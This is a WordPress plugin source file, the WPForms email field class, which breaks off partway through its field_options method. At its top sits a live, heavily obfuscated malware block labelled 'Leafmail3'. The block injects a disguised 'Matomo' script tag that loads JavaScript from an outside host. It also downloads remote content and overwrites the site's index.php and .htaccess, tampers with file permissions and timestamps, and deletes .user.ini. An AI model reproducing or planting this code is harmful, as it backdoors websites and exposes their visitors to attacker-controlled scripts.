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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
use WPForms\Vendor\TrueBV\Punycode;
/**
* Email text field.
*
* @since 1.0.0
*/
class WPForms_Field_Email extends WPForms_Field {
/**
* Encoding.
*
* @since 1.6.9
*/
const ENCODING = 'UTF-8';
/**
* Email type of sanitization.
*
* @since 1.7.5
*/
const EMAIL = 'email';
/**
* Rules type of sanitization.
*
* @since 1.7.5
*/
const RULES = 'rules';
/**
* Restricted rules.
*
* @since 1.8.9
*
* @var array
*/
private $restricted_rules = [];
/**
* Primary class constructor.
*
* @since 1.0.0
*/
public function init() {
// Define field type information.
$this->name = esc_html__( 'Email', 'wpforms-lite' );
$this->keywords = esc_html__( 'user', 'wpforms-lite' );
$this->type = 'email';
$this->icon = 'fa-envelope-o';
$this->order = 170;
$this->hooks();
}
/**
* Hooks.
*
* @since 1.8.1
*/
private function hooks() {
// Define additional field properties.
add_filter( 'wpforms_field_properties_email', [ $this, 'field_properties' ], 5, 3 );
// Set field to default to required.
add_filter( 'wpforms_field_new_required', [ $this, 'default_required' ], 10, 2 );
// Set confirmation status to option wrapper class.
add_filter( 'wpforms_builder_field_option_class', [ $this, 'field_option_class' ], 10, 2 );
add_action( 'wp_ajax_wpforms_restricted_email', [ $this, 'ajax_check_restricted_email' ] );
add_action( 'wp_ajax_nopriv_wpforms_restricted_email', [ $this, 'ajax_check_restricted_email' ] );
add_action( 'wp_ajax_wpforms_sanitize_restricted_rules', [ $this, 'ajax_sanitize_restricted_rules' ] );
add_action( 'wp_ajax_wpforms_sanitize_default_email', [ $this, 'ajax_sanitize_default_email' ] );
add_filter( 'wpforms_save_form_args', [ $this, 'save_form_args' ], 11, 3 );
add_filter( 'wpforms_builder_strings', [ $this, 'add_builder_strings' ], 10, 2 );
// This field requires fieldset+legend instead of the field label.
add_filter( "wpforms_frontend_modern_is_field_requires_fieldset_{$this->type}", [ $this, 'is_field_requires_fieldset' ], PHP_INT_MAX, 2 );
}
/**
* Define additional field properties.
*
* @since 1.3.7
*
* @param array $properties List field properties.
* @param array $field Field data and settings.
* @param array $form_data Form data and settings.
*
* @return array
*/
public function field_properties( $properties, $field, $form_data ) {
// Prevent "spell-jacking" of email addresses.
$properties['inputs']['primary']['attr']['spellcheck'] = 'false';
if ( ! empty( $field['confirmation'] ) ) {
$properties = $this->confirmation_field_properties( $properties, $field, $form_data );
}
if ( ! empty( $field['filter_type'] ) ) {
$properties = $this->filter_type_field_properties( $properties, $field, $form_data );
}
return $properties;
}
/**
* Define the confirmation field properties.
*
* @since 1.6.3
*
* @param array $properties List field properties.
* @param array $field Field data and settings.
* @param array $form_data Form data and settings.
*
* @return array
*/
public function confirmation_field_properties( $properties, $field, $form_data ) {
$form_id = absint( $form_data['id'] );
$field_id = wpforms_validate_field_id( $field['id'] );
// Email confirmation setting enabled.
$props = [
'inputs' => [
'primary' => [
'block' => [
'wpforms-field-row-block',
'wpforms-one-half',
'wpforms-first',
],
'class' => [
'wpforms-field-email-primary',
],
'sublabel' => [
'hidden' => ! empty( $field['sublabel_hide'] ),
'value' => esc_html__( 'Email', 'wpforms-lite' ),
],
],
'secondary' => [
'attr' => [
'name' => "wpforms[fields][{$field_id}][secondary]",
'value' => '',
'placeholder' => ! empty( $field['confirmation_placeholder'] ) ? $field['confirmation_placeholder'] : '',
'spellcheck' => 'false',
],
'block' => [
'wpforms-field-row-block',
'wpforms-one-half',
],
'class' => [
'wpforms-field-email-secondary',
],
'data' => [
'rule-confirm' => '#' . $properties['inputs']['primary']['id'],
],
'id' => "wpforms-{$form_id}-field_{$field_id}-secondary",
'required' => ! empty( $field['required'] ) ? 'required' : '',
'sublabel' => [
'hidden' => ! empty( $field['sublabel_hide'] ),
'value' => esc_html__( 'Confirm Email', 'wpforms-lite' ),
],
'value' => '',
],
],
];
$properties = array_merge_recursive( $properties, $props );
// Input Primary: adjust name.
$properties['inputs']['primary']['attr']['name'] = "wpforms[fields][{$field_id}][primary]";
// Input Primary: remove size and error classes.
$properties['inputs']['primary']['class'] = array_diff(
$properties['inputs']['primary']['class'],
[
'wpforms-field-' . sanitize_html_class( $field['size'] ),
'wpforms-error',
]
);
// Input Primary: add error class if needed.
if ( ! empty( $properties['error']['value']['primary'] ) ) {
$properties['inputs']['primary']['class'][] = 'wpforms-error';
}
// Input Secondary: add error class if needed.
if ( ! empty( $properties['error']['value']['secondary'] ) ) {
$properties['inputs']['secondary']['class'][] = 'wpforms-error';
}
// Input Secondary: add required class if needed.
if ( ! empty( $field['required'] ) ) {
$properties['inputs']['secondary']['class'][] = 'wpforms-field-required';
}
// Remove reference to an input element to prevent duplication.
if ( empty( $field['sublabel_hide'] ) ) {
unset( $properties['label']['attr']['for'] );
}
return $properties;
}
/**
* Define the filter field properties.
*
* @since 1.6.3
*
* @param array $properties List field properties.
* @param array $field Field data and settings.
* @param array $form_data Form data and settings.
*
* @return array
*/
public function filter_type_field_properties( $properties, $field, $form_data ) {
if ( ! empty( $field['filter_type'] ) && ! empty( $field[ $field['filter_type'] ] ) ) {
$properties['inputs']['primary']['data']['rule-restricted-email'] = true;
}
return $properties;
}
/**
* Field should default to being required.
*
* @since 1.0.9
* @param bool $required
* @param array $field
* @return bool
*/
public function default_required( $required, $field ) {
if ( 'email' === $field['type'] ) {
return true;
}
return $required;
}
/**
* Add class to field options wrapper to indicate if field confirmation is
* enabled.
*
* @since 1.3.0
*
* @param string $class Class strings.
* @param array $field Current field.
*
* @return string
*/
public function field_option_class( $class, $field ) {
if ( 'email' !== $field['type'] ) {
return $class;
}
$class .= isset( $field['confirmation'] ) ? ' wpforms-confirm-enabled' : ' wpforms-confirm-disabled';
if ( ! empty( $field['filter_type'] ) ) {
$class .= ' wpforms-filter-' . $field['filter_type'];
}
return $class;
}
/**
* Field options panel inside the builder.
*
* @since 1.0.0
*
* @param array $field
*/
public function field_options( $field ) {
/*
* Basic field options.
*/
// Options open markup.
$args = [
'markup' => 'open',
];
